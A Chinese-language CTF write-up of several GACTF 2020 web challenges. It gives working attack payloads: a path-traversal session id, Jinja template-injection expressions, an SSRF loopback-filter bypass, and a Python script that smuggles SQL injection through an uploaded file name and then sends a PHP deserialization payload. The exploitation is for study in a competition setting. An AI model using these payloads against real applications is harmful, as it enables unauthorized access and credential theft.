GACTF 2020 Web 部分题目 Writeup

babyshop

上来一个小商城,懵了一圈以后扫了一下目录,发现有git泄露。源码脱下来以后发现进行了混淆。
这个混淆有意思啊,所有的变量名甚至都是有意义的,难不成是出题人人 工 混 淆?

简单浏览以后通过经验可以判断出,整个init.php大体分为两部分,造化之神用于混淆字符串常量,而造化函数则用于获取原字符串,是很常用的字符串常量混淆手段。再加上php的字符串可以作为函数调用,函数名也可以利用这种方式进行混淆。比如造化("拢监纪浑诊余仍逃抹哀天夫")实际上就是stripos
于是我们可以写一个简单的小脚本进行字符串恢复,抛弃造化部分。脚本由于没有复用价值,就不放在这了。等工具函数也可以通过简单的正则匹配进行替换。

最终我们可以恢复出混淆前的代码:

阅读源码我们可以看出,出题人自行注册了session数据存储机制,将session数据存储在了web目录下,文件名后半部分可控。
参考php session_set_save_handler函数手册,结合源码,我们可以发现源码对sessionid进行了简单过滤。

如何解这道题呢?

最简单的解法

首先我们可以看到Accounts页面中回显了note_文件的内容,我们能够控制这个文件的路径,而这里存在目录穿越
所以我们把sessionid设置成../../../../flag就行了。flag文件我们没权限写,读权限还是有的。我们是这么做出来的((

出题人可能预期的解法

虽然题已经做出来了,但是后面貌似出题人将flag加入了关键词检测。看一看源码,有两个有趣的地方

  • srand(固定值)
  • session处理的逻辑写在了一个类里面,有__destruct,且反序列化可以绕过对sessionid的waf

具体怎么做还没来得及研究,之后有空了再说吧

EZFLASK

出题人给出了部分源码,明摆着就是想让我们去访问admin路由。
__globals__到底是什么

{{index.__globals__}}

于是我们可以看出admin路由为/h4rdt0f1nd_9792uagcaca00qjaf,访问后发现是一个requests的ssrf点。
还有一个ctf函数我们还没有用过,看出题人的意思是那里有一些提示。通过__code__属性我们可以一窥ctf函数中的常量:

1
2
3
4
5
{{ctf.__code__.co_consts}}:
可知:

hint = 'the admin route :h4rdt0f1nd_9792uagcaca00qjaf<!-- port : 5000 -->'
trick = 'too young too simple'

提示说5000端口有另一个服务。但是当我们尝试访问127.0.0.1时发现有waf。梅开二度,我们可以通过__code__来大体看到waf规则:

0.0被过滤了。冷知识时间:本地回环地址为127.0.0.0/8,这个掩码8是不是看起来不太直观?我们换个样子试试:255.0.0.0

所以访问127.114.51.4:5000,看到内层的应用是一个裸的ssti,flag在app.config里。然而ssrf的path在外层进行了过滤(waf_path)。很可惜,waf_path.__code__.co_consts由于长度问题被过滤了,过滤规则只能通过盲猜。

经过一系列尝试,在url_for.__globals__.current_app找到了app对象。

carefuleyes

整体上就是Hitcon 2016 babytrick梅开二度,随便找一个注入点就行了

rename.php中有一个自注入,很刻意

我 注 我 自 己

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from requests import session
from phpserialize import *


ses = session()
# host = 'http://124.71.191.175'
host = 'http://202.182.118.236'
# host = 'http://localhost'

file = 'frankli\' and 1=0 union select 1,`password` as filename,3,4,5 from user where username=\'XM\' #.txt'
ses.post(host + '/upload.php', files={
'upfile': (file, 'b')
}).text
passwd = ses.get(host + '/rename.php', params={
'oldname': file[:-4],
'newname': 'asdf'
}).text
passwd = passwd[14:passwd.find('will be changed') - 1]


class XCTFGG:
private_method = 'login'
private_args = ['XM', passwd]


print(ses.post(host + '/upload.php', files={
'upfile': ('frank.txt', 'c')
}, params={
'data': serialize(XCTFGG())
}).text)

simple flask 与 XWiki

略。simple flask抢了个一血,挺开心的(